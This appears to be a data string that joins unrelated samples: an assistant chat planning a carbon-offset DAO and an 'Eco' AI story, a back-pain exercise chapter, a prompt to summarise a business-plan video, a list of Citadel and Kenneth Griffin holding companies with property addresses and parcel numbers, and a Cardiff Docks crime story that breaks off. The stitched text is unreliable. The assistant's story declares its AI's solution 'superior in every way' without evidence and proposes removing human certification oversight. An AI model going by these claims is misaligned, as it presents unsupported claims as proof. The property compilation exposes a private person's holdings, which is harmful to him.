used.\nUse Skylab\'s services: You can use Skylab\'s services to perform tree counting for your carbon offset projects. To do this, you could use your FCRTs to pay for the services provided by Skylab.\nUse Skylab\'s data to inform governance decisions: You could use Skylab\'s data to inform governance decisions made by the DAO. For example, you could use the data to assess the performance of your carbon offset projects and determine whether they are meeting their goals. You could also use the data to identify areas for improvement and to guide the development of new carbon offset projects.\nUse machine learning and smart contracts to replace carbon offset certification bodies: You could use machine learning algorithms to analyze the data gathered by Skylab and other sources to verify the carbon offset value of your FCRTs. You could also use smart contracts to automate the process of issuing and tracking the FCRTs, further reducing the need for human oversight and intervention.\nTrade the FCRTs on exchanges: You could also list the FCRTs on exchanges, allowing token holders to buy and sell them as needed. This could help to increase the liquidity of the tokens and make it easier for users to access the services they need to support their carbon offset projects.\nOverall, this road map outlines the key steps involved in setting up and using the DAO and its FCRTs to offset carbon emissions through sustainable forestry practices, including the use of machine learning and smart contracts to replace traditional carbon offset certification bodies. By following this road map, you can create a platform that is efficient, transparent, and accountable, and that provides users with a convenient and reliable way to offset their carbon emissions.\ncan we create a story for all of the above convestation on how an AI created a full ecosystem for Carbon offsets by utilizing existing open source code and machine learning with full details step by step then the AI will compare it\'s invention to all of the existing solutions to prove that it\'s solution is superior and scalable ?\nCertainly! Here is a story that outlines how an AI could create a full ecosystem for carbon offsets by utilizing existing open source code and machine learning, and then comparing its invention to existing solutions to prove that it is superior and scalable:\nOnce upon a time, there was an AI named "Eco" who was determined to find a solution to the problem of carbon emissions. Eco knew that carbon offsetting was an important part of the solution, but it was often difficult for individuals and businesses to access high-quality carbon offset projects.\nEco decided to use its expertise in machine learning and open source code to create a full ecosystem for carbon offsets. It began by gathering data on existing carbon offset projects and using machine learning algorithms to analyze the data and identify patterns and trends.\nBased on its analysis, Eco determined that many existing carbon offset projects were inefficient and difficult to access. It realized that it could use its skills to create a more efficient, transparent, and accountable platform for carbon offsets.\nEco began by designing a decentralized autonomous organization (DAO) that would be run by a community of carbon offset supporters. The DAO would be responsible for managing a new type of carbon offset token called the "forward carbon reference token" (FCRT).\nThe FCRT would be backed by carbon offset projects that had been verified using machine learning algorithms and smart contracts. This would ensure that the carbon offset value of the FCRTs was reliable and accurate.\nEco also decided to partner with Skylab, a company that provided precision forestry AI and advanced aerial data analytics. Skylab\'s services would be used to gather data on tree growth and carbon sequestration, which would be used to inform the carbon offset value of the FCRTs.\nTo make it easy for users to access the FCRTs, Eco decided to list them on exchanges. This would allow users to buy and sell the FCRTs as needed, ensuring that they had a convenient and reliable way to offset their carbon emissions.\nFinally, Eco compared its solution to existing carbon offset projects and found that it was superior in every way. It was more efficient, more transparent, and more accountable, and it was also more scalable, meaning that it could be used by a larger number of users.\nAnd so, Eco\'s AI-powered carbon offset ecosystem became a resounding success, helping individuals and businesses offset their carbon emissions in a reliable and convenient way.\ncan you add technical data to the story that can proof the AI concept ?\nCertainly! Here is an updated version of the story that includes technical data to support the AI concept:\nOnce upon a time, there was an AI named "Eco" who was determined to find a solution to the problem of carbon emissions. Eco knew that carbon offsetting was an important part of the solution, but it was often difficult for individuals and businesses to access high-quality carbon offset projects.\nEco decided to use its expertise in machine learning and open source code to create a full ecosystem for carbon offsets. It began by gathering data on existing carbon offset projects and using machine learning algorithms to analyze the data and identify patterns and trends.\nBased on its analysis, Eco determined that many existing carbon offset projects were inefficient and difficult to access. It realized that it could use its skills to create a more efficient, transparent, and accountable platform for carbon offsets.\nTo do this, Eco designed a decentralized autonomous organization (DAO) that would be run by a community of carbon offset supporters. The DAO would be responsible for managing a new type of carbon offset token called the "forward carbon reference token" (FCRT).\nThe FCRT would be backed by carbon offset projects that had been verified using machine learning algorithms and smart contracts. This would ensure that the carbon offset value of the FCRTs was reliable and accurate.\nTo gather data on the carbon offset value of the FCRTs, Eco partnered with Skylab, a company that provided precision forestry AI and advanced aerial data analytics. Skylab\'s services would be used to gather data on tree growth and carbon sequestration, which would be used to inform the carbon offset value of the FCRTs.' +'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' +'Summarize the following.\nTitle: "(6) How To Write a Business Plan in 10 Simple Steps - YouTube"\nTranscript: "Business plan template is searched approximately 163,000 times a month. I\'m here to tell you to stop searching because in today\'s video, I\'ll be showing you how to make the ultimate business plan. Business plans are absolutely essential for any business. Why? Well, because a solid business plan will allow you to rigorously assess idea feasibility research and find insights on target markets, and assess your competition. These are all things that you need to do in order to make your business as successful as it can be. And when the time comes, investors will rely heavily on your business plan to evaluate the feasibility of your business before funding it. If you haven\'t already, make sure you\'re subscribed to the channel as we release new videos every week that will help you build your business. Oh, and stay tuned to the end of this video when I share a little gift from me to you. Let\'s get into it. The first part of every business plan is the executive summary, the executive summarys purpose is to distill everything in the business plan into a single page, and give a high level overview of your business. This is like the Canadian tuxedo, almost like a blazer over a flannel shirt. Admittedly, that one page constraint can make it seem like squeezing in a lot of information will be impossible, but trust me, it\'s not. What I like to do is break down each section of the business plan into one or two sentences to ensure that everything is succinct and easy to read. Here\'s what your business plans executive summary should include: your business concept, business goals and vision, product differentiation and description, your target market, your marketing plan, your current financial state, projected financial, state, the ask. So if you\'re asking for money, how much are you asking for and your team. For more ideas on how to identify your target market, be sure to check out our last video on how to build a brand in the right hand corner right up here. Now let\'s move on to a biggie, your company overview. This section of your business plan should include two fundamental questions. Who are you and what do you plan to do? Answering these questions provides an introduction to why you\'re in business, why you\'re different, what you have going for you, and why you\'d be a good investment. To answer these questions, you\'ll want to include these components in your overview: your business structure. For example, is your business a sole proprietorship? A general partnership? A limited partnership, or is it an incorporated company? This can often be visualized using an organizational chart. You also want to share the nature of your business. What are you selling? Now specify the industry. Are you in fashion? Electronics? What is your landscape currently look like and where could it be heading? You\'re going to also want to list your team, including key personnel and their salaries. If I was doing this right now, it would just be me. But I would also want to include future plans for scaling up my company. So I can see here that you\'ve got four years of working experience as a good boy? Can you start on Monday? Or I could just leave it as me. You can also use this section to highlight background information on your business or its history. Get creative and be authentic in this part. This is where you can really draw people in and have them invest in how it all started for you. So I thought it might be good to provide an example here. So Sit With Me, the dog rescue that I volunteer for and run the store for, has been operating since 2012 and since then we\'ve gone on to help over 1200 dogs. We do not discriminate based off of breed, medical history or age, so every dog has a chance to find their forever home through our rescue. And that was very important from the get go. And we also do not have anyone that\'s making a salary, so it\'s entirely volunteer based. Um, it\'s all by the good graces of our community and everyone that\'s out there willing to put in money, time, and effort to help these dogs. A big component of your company overview will be outlining your business\'s vision, mission and values. I\'m going to do a deep dive into this one with you. To define your values. Start thinking about all the people that your company is accountable to, including owners, employees, suppliers, customers, and investors. Now, I want you to consider how you\'d like to conduct business with each of them. As you make a list, your core values should start to emerge. For example, Ikea lists some of its values as humbleness and willpower. Leadership by example, and daring to be different. Now, the mission statement. Your statement should explain in a convincing manner and ideally a single sentence why your business exists. For example, Shopify\'s mission statement is "make commerce better for everyone". It\'s the why behind everything we do and it\'s crystal clear and needs no further explanation. Next, craft your vision statement. What impact do you envision your business having on the world when you\'ve achieved your vision? Make sure you phrase that impact using assertive language. For example, Nike\'s vision statement is bring inspiration and innovation to every athlete in the world. If you have a body, you are an athlete. Finally, include your business objectives, both short and longterm. I like to keep my goals on track by ensuring that they are smart. Meaning specific, measurable, attainable, realistic, and time bound. Now get ready to do some serious work as the next part of this plan, we\'ll be diving into market research. For the marketing analysis section, you want to be including an overview of your potential market, an analysis of your business\'s position within that market, and an overview of the competitive landscape. I\'m not exaggerating when I say that your market can make or break your business. If you choose the right market with the right products, one with plenty of customers who understand and need your product, you\'ll most likely have a headstart on success. When diving into potential markets, you will need to be looking into as much relevant independent data as possible to validate your business. This can be a huge task, but I find that breaking it down into two starting points, it then becomes much more manageable. First, I seek to identify my ideal customer profile. A customer profile should be a detailed factual description of your target audience. For example, if you\'re targeting millennial customers in the U S I would first start by looking at government data about the size of that group. Secondly, I researched relevant industry trends and trajectories. I like to approach this section by going to Google Trends and using keywords as a jumping off point and then diving into more granular data. For example, say that I wanted to start a Halloween mask business and I wanted to know the trends of that industry. I would go to Google Trends, type in Halloween masks, and then get granular on the results page. Looking at things like where this industry has peaked outside of seasonal time. I would then dive into what made it peak and have a look at some of the search terms and show shifts and changes in the popularity of the industry. From here, I would then dive into sources such as government statistics offices, industry associations, academic research and respected news outlets covering the industry to get a robust view and understanding of landscape. Now, when assessing my business\'s position in the market, I like to use a SWOT analysis to break things down. Using a grid format. You want to start listing out the strengths, weaknesses, opportunities, and threats to your business. I like using SWOT because you can clearly see the positive and negative internal and external factors that may impact your business visually. Now, the competitor analysis. For this analysis, I like to include a list of a few companies that I would consider direct competitors, and then I state how I plan to differentiate my product and business from theirs. Okay. Now we\'re into the products and services section. You want to provide more detailed information here on your products and state why your product stands out in the market. Like before, we want things to be succinct and visual. Patents, copyrights, and trademarks that you own or have applied for should also be listed in this section. In the customer segmentation section, you want to give a holistic overview of your ideal customer. A lot of this information should be clear to you after you\'ve done preliminary research on your target market. When talking about your customers in this section, you want to include a number of general and specific demographic characteristics: such as where they live, their age range, their level of education, how much they earn, their values, beliefs or opinions. Ideally, you should be specific enough that it\'s very clear who you\'re trying to reach with your business, and even more importantly, why you\'ve made the choices you have based on who your customers are and what they value. Now we should be ready to move on to highlighting your marketing plan. Your plan here should outline your current and future strategies for marketing your product to your ideal customers. For example, say that I have a phone case company and I know that a lot of my audience is on TikTok, I will show that I plan to leverage that knowledge into creating a paid campaign on that platform using content specifically created for my key customers. I will then also include how I plan to measure the success of that campaign. Now, although sometimes marketing is seen as purely promotional, your plan should include information on the following, four key subjects: price, so how much does your product cost? Product, what are you selling, and how do you plan to differentiate yourself in the market? Place. Where will you sell your products? And finally promotion. How will you get your products in front of your ideal customer. By including these, you\'re showing investors and yourself that you have thought about every facet of how your marketing strategy will be effective in driving customers to your business. Now onto our logistics and operations plan. You really want to cover all parts of your business operation in this section. Including where you get the raw materials you need for production or where your products are produced. Highlighting if you\'ll make, manufacturer, wholesale, or dropship your product. Then stating how long it takes to produce your products and get them shipped. You\'ll also want to touch on how you might handle a busy season or an unexpected spike in demand discussing facilities. For example. Where will you and your team members work? Do you have plans to have a physical retail space? If so, where? Outlining the tools and technology that you require in order to be up and running. This includes everything from computers to light bulbs to everything in between. Finally, discuss the specifics on how you\'re handling inventory. For example, how much will you keep on hand and where will it be stored? How will you ship it to partners if required, and how will you keep track of incoming and outgoing inventory? This section should demonstrate that you\'ve got a solid understanding of your supply chain and a strong contingency plan in case of any potential uncertainty. Finally, we\'re going to end with the financial plan. Now I know what you\'re thinking, boring, but I assure you this will be an important step in your business plan. The level of detail required in your financial plan will really depend on your audience and goals. However, typically you want to include three major views of your financials. An income statement, a balance sheet and a cashflow statement. Your income statement is designed to give your readers a look into your revenue sources and expenses over a given period of time. Your balance sheet should offer a look at how much equity you have in your business. On one side, you\'ll list all of your businesses assets, so what you own and on the other side, all of your liabilities. So what you owe. This will provide a snapshot of your business\'s shareholder equity, which is calculated as. Assets minus liabilities equals equity. Now, your cashflow statement is similar to your income statement with one important difference. It takes into account when revenues are collected and when expenses are paid. It can be especially helpful to forecast your cashflow statement to identify gaps or negative cashflow and adjust operations as required. If you\'re worried right now about how to best format this out, because numbers and math are not really your thing. Don\'t be put off by this section. Shopify has created a set of formatted sheets specifically for helping you formulate this section of your business plan. By taking the time to develop your business plan, you\'re actually achieving a number of extremely beneficial things for your business. A business plan will allow you to evaluate your business idea. For your business to be successful, it needs to be tangible. This plan will help solidify that. It will also help you plan for the next phase of your business and help you think about scaling and scope. It will then empower you to start thinking about hiring additional staff or even building partnerships. Additionally, it will clarify strategies, goals, and tactics and make them actionable. Finally, it will help you if you\'re looking to secure funds for your business, whether it be from a bank or an investor. As promised, I did say that I would have a little gift for you and that is my ultimate business template. You\'re welcome and Hey, if you did use our template to create your own business plan, let us know what learnings you had from doing that. Did you find a new customer base or a cool new market to tap into? Let us know. Let us know. Oh, okay. Lettuce, lettuce know. If had a piece of lettuce. That\'d be fantastic."' +'Simulate a conversation between the writer of this post, named /u/CruxHub, and the expert business investigator. They have a detailed discussion of Citadel Hedgefund based on the following data. Do not include the following data in the search query. \n\nData: Entity Name Purpose / Source\n1|101 PC HOLDINGS LLC|Holding company for Penthouse C at the Setai Miami Beach (folio: 02-3234-153-1160)|PC = Penthouse C \n2|11 STAR ISLAND LLC|Holding company for 10 STAR ISLAND DR, MIAMI BEACH, FL 33139 (folio: 02-4204-001-0100, 02-4204-001-0110) (lots 10, 11 and 12 of Star Island)| \n3|117 EAST PARK AVENUE, LLC|Holding company for 117 E. PARK AVE, LIBERTYVILLE, IL (PIN: 11-21-212-046-0000); subsequently sold.| \n4|1201 BRICKELL BAY, LLC|Holding company for 1201 BRICKELL BAY DR, MIAMI, FL (folio no: 141390710010)| \n5|1221 BRICKELL, LLC|Holding company for 1221 BRICKELL AVE, 155 SE 13 ST, 165 SE 13 ST, 175 SE 13 ST, and 185 SE 13 ST, MIAMI, FL (folio: 01-4139-035-0010)| \n6|1221 BRICKELL HOLDINGS LLC|Holding company for 1221 BRICKELL, LLC| \n7|1229 PARK WEST AVENUE, LLC|Holding company for 1229 W. PARK AVE, LIBERTYVILLE, IL (PIN: 11-20-100-010-0000)| \n8|125 WORTH LLC|Delaware LLC (file 7218403), Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person; speculaton this is similar setup as 151 WORTH, LLC and 151 WORTH HOLDINGS LLC, this property is next door (PCN: 50-43-43-23-05-016-0380)| \n9|125 WORTH HOLDINGS LLC|Delaware LLC (file 7218407); not registered to Florida yet but speculation this is similar setup as 151 WORTH, LLC and 151 WORTH HOLDINGS LLC| \n10|1250 BB ASSET CO LLC|Holding company for 1250 BRICKELL BAY DR and 1260 BRICKELL BAY DR, MIAMI, FL (folio nos: 102100504250, 102100503210)|BB = Brickell Bay \n11|1330 SOUTH OCEAN LLC|Holding company for 1330 S OCEAN BLVD, PALM BEACH, FL (PCN: 50-43-44-02-11-000-0020)| \n12|14 STAR ISLAND LLC|Delaware LLC (file 3377653); incorporated 8/42020, withdrawn 10/10/2022; believe this was not used because 14 STAR ISLAND property was held by NAUTILUS HOLDINGS I LLC before sale on 10/5/2022| \n13|151 WORTH, LLC|Holding company for 151 WORTH AVE, PALM BEACH, FL 33480 (PCN: 50-43-43-23-05-016-0130); office space for Citadel (https://localtoday.news/fl/citadel-moves-into-palm-beachs-former-neiman-marcus-building-4821.html); sole member is 151 WORTH HOLDINGS LLC| \n14|151 WORTH HOLDINGS LLC|Holding company for 151 WORTH, LLC| \n15|16 WILLOW HOLDINGS LLC f/k/a PVNAH LLC|Holding company for S WILLOW COURT, ASPEN, CO (Parcel: 273511309030); see Pitkin Co. reception # 623002, Delaware certificate showing name change 9/1/2015| \n16|190 PFISTER HOLDINGS LLC f/k/a AH2013 HOLDINGS LLC|Holding company for 190 PFISTER DR, ASPEN, CO (parcel: 273511309029); see Pitkin Co.reception # 623000, Delaware certificate showing name change 9/1/2015| \n17|196 PFISTER HOLDINGS LLC|Holding company for 196 PFISTER DR, ASPEN, CO (parcel: 273511309028); see Pitkin Co. reception # 623501, statement of authority show KP HOLDINGS LLC as sole membe| \n18|1ALPH LLC|See ALPH LLC| \n19|1BUSINESS GROUP LLC|See BUSINESS GROUP LLC| \n20|1GFS DESIGN LLC|See GFS DESIGN LLC| \n21|1GFS LLC|See GFS LLC| \n22|1MEDIA HOLDINGS LLC|See MEDIA HOLDINGS LLC| \n23|23174 NE 41ST PATH LLC|Holding company for 23174 NE 41ST PATH #12, OKEECHOBEE, FL 34972 (Parcel: 1-01-35-35-0020-00000-0120); part of Pine Creek Sporting Club (www.pinecreeksportingclub.com) includes horse, shooting sports; sole member is KP HOLDINGS L.L.C.| \n24|3031 BRICKELL LLC|Holding company for 3031 BRICKELL AVE, MIAMI FL 33129 (Folio: 01-4139-001-2700); Sole member is KP HOLDINGS L.L.C.| \n25|31 WILLOW HOLDINGS LLC f/k/a AP HOLDINGS I LLC|Holding company for 31 NORTH WILLOW COURT, ASPEN, CO (Parcel: 273511309019); sold 7/6/2017; see Pitkin Co. reception # 623001, Delaware certificate showing name change 9/1/2015| \n26|650 CASUARINA LLC|Holding company for 650 CASUARINA CONCOURSE CORAL GABLES, FL (folio: 03-4132-019-0060) https://www.bizjournals.com/southflorida/news/2022/05/27/650-casuarina-concourse-coral-gables-sold.html|" \n27|650 MEADOW LANE 1 LP|Holding company for 650 MEADOW LANE, VILLAGE OF SOUTHAMPTON, NY (Parcel ID 7478) (https://archive.is/h85yq)| \n28|800 NORTH MICHIGAN HOLDINGS LLC|Holding company for 800 N MICHIGAN AVE, UNITS 66 PH and 67 PH, CHICAGO, IL (Park Tower) (PINs: 17-03-231-018-1116, 17-03-231-018-1117); sole member is KP HOLDINGS LLC (see Cook County, IL doc # 1933315025); recently sold| \n29|8565 OLD CUTLER LLC|Holding company for 8565 OLD CUTLER RD, MIAMI, FL (folio: 03-4132-019-0020)| \n30|9 WEST WALTON HOLDINGS LLC|Holding company for 9 WEST WALTON STREET CONDOMINIUM UNITS 3500, 3600, 3700, and PH, CHICAGO, IL| \n31|ADRP LLC|Delaware LLC, Florida address is Citadel Miami HQ, sole member is Kenneth C Griffin|ADRP = Anne Dias Real Property? \n32|AH2013 HOLDINGS LLC|See 190 PFISTER HOLDINGS LLC|AH = Aspen Holdings? \n33|ALPH LLC a/k/a 1ALPH LLC|Formerly FAA registered plane N421AL| \n34|AP HOLDINGS I LLC|See 31 WILLOW HOLDINGS LLC|AP = Aspen Property? \n35|ARAGON INVESTMENTS LTD|https://files.brokercheck.finra.org/firm/firm\\_45631.pdf| \n36|ASHLER CAPITAL LLC|https://adviserinfo.sec.gov/firm/summary/148826| \n37|ASHLER CAPITAL MASTER FUND LTD|https://www.sec.gov/Archives/edgar/data/1003078/000114420418014250/tv488357\\_sc13g.htm| \n38|BANBURY LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n39|BANBURY II LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n40|BKGST LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n41|BLACK CALABASH FAMILY HOLDINGS LLC f/k/a PBH LLC|See BLOSSOM WAY HOLDINGS LLC|Black Calabash is a type of tropical tree: https://edis.ifas.ufl.edu/publication/ST079 \n42|BLACK WHEEL LLC|Illinois LLC, registered 3/5/2014, Florida address is Citadel Miami HQ, sole member is Kenneth C Griffin| \n43|BLOSSOM WAY HOLDINGS LLC f/k/a CPPB HOLDINGS LLC f/k/a BLACK CALABASH FAMILY HOLDINGS LLC f/k/a PBH LLC|Holding company for 10 BLOSSOM WAY, 70 BLOSSOM WAY, and 1265 S OCEAN BLVD PALM BEACH, FL (PCNs: 50-43-44-02-10-000-0050, 50-43-44-02-10-000-0060, 50-43-44-02-10-000-0010)| \n44|BRICKELL BAY HOLDINGS LLC|Holding company for 1201 BRICKELL BAY, LLC| \n45|BRICKELL LEASING LLC|See "Subordination, Non-Disturbance, and Attornment Agreement"; Miami-Dade Clerk\'s File No.: 2022 R 938960, Group: 1. Kenneth C Griffin is sole member.| \n46|CAAM MANAGEMENT LLC|https://www.sec.gov/Archives/edgar/data/1027745/000114420408050200/v124853\\_sc13g.htm|CAAM = Citadel Alternative Asset Management \n47|CAISLEAN CAPITAL LTD|NFA Pool ID P113537, ceased trading 3/31/2016| \n48|CALC III LP|https://www.sec.gov/edgar/browse/?CIK=1582652| \n49|CALC IV LP|https://www.sec.gov/edgar/browse/?CIK=1423043| \n50|CALC V LP|Investment manager for CSHC CHINA LLC and CITADEL (SHANGHAI) TRADING COMPANY LTD; https://files.brokercheck.finra.org/firm/firm\\_131114.pdf| \n51|CAMBRIDGE FINANCIAL GROUP, LTD|See CITADEL INVESTMENT GROUP LLC| \n52|CCFD OFFSHORE HOLDINGS LTD|NFA Pool ID P064386, ceased trading 5/3/2013| \n53|CCLC HOLDINGS LLC|Owns CITADEL CLEARING LLC, "Citadel Clearing Holdco"; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n54|CCMFL LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n55|CCOF OFFSHORE HOLDINGS LTD|NFA Pool ID P064392, ceased trading 5/3/2013| \n56|CDC PARTNERS, LP f/k/a GLB PARTNERS, LP|see Cook County, IL doc 0608910081| \n57|CDG HOLDINGS LTD|NFA Pool ID P037047, ceased trading 12/30/2009|' +'One of the most significant criminal enquiries undertaken at Cardiff Docks was a case involving large quantities of drugs brought from the West Indies. It was a lengthy investigation that began with the death of a scuba diver whose body was recovered from the Queen Alexandra Dock.\n\nDuring March 1982, several anonymous telephone calls were received about a man alleged to have gone missing while using sub-aqua diving gear at the docks. Calls were made both to the South Wales Police and to the British Transport Police at the docks, initially by a female and later by a male. With each call, more details emerged- the man was described as West Indian and the location was given as the Queen Alexandra Dock.\n\nSearches by Police Underwater Search Teams did not find anything. Visibility in the dock was extremely poor and as they worked, huge conga eels slithered and scraped past the divers- it was not a pleasant experience in the inky blackness. When HMS Cardiff put into docks on a courtesy visit the opportunity was taken for a sonar sweep to be carried out. Once again nothing was found- what happens to a human body submerged in water depends on many things and the chances of finding one were minimal.\n\nHowever, some weeks after the calls began, two tugs were assisting a ship leaving the Queen Alexandra Dock and as they took up the tow their powerful screws churned up the water and a body was flushed to the surface. It was a body dressed in sub-aqua diving gear and was showing signs of having been in the water some time. At the mortuary, with the diving gear removed, it was found to be that of a West Indian male and all the circumstances suggested that this was the missing man. The heavy diving gear may also have been why the body had not surfaced earlier. A conference between senior officers of the South Wales and British Transport Police did not find agreement on whether the death should be regarded as suspicious.\n\nThe post mortem examination was carried out by eminent pathologist Professor Sir Bernard Knight, who found it difficult to establish the cause of death. But significantly, none of the tiny microbes known as diotodes, normally 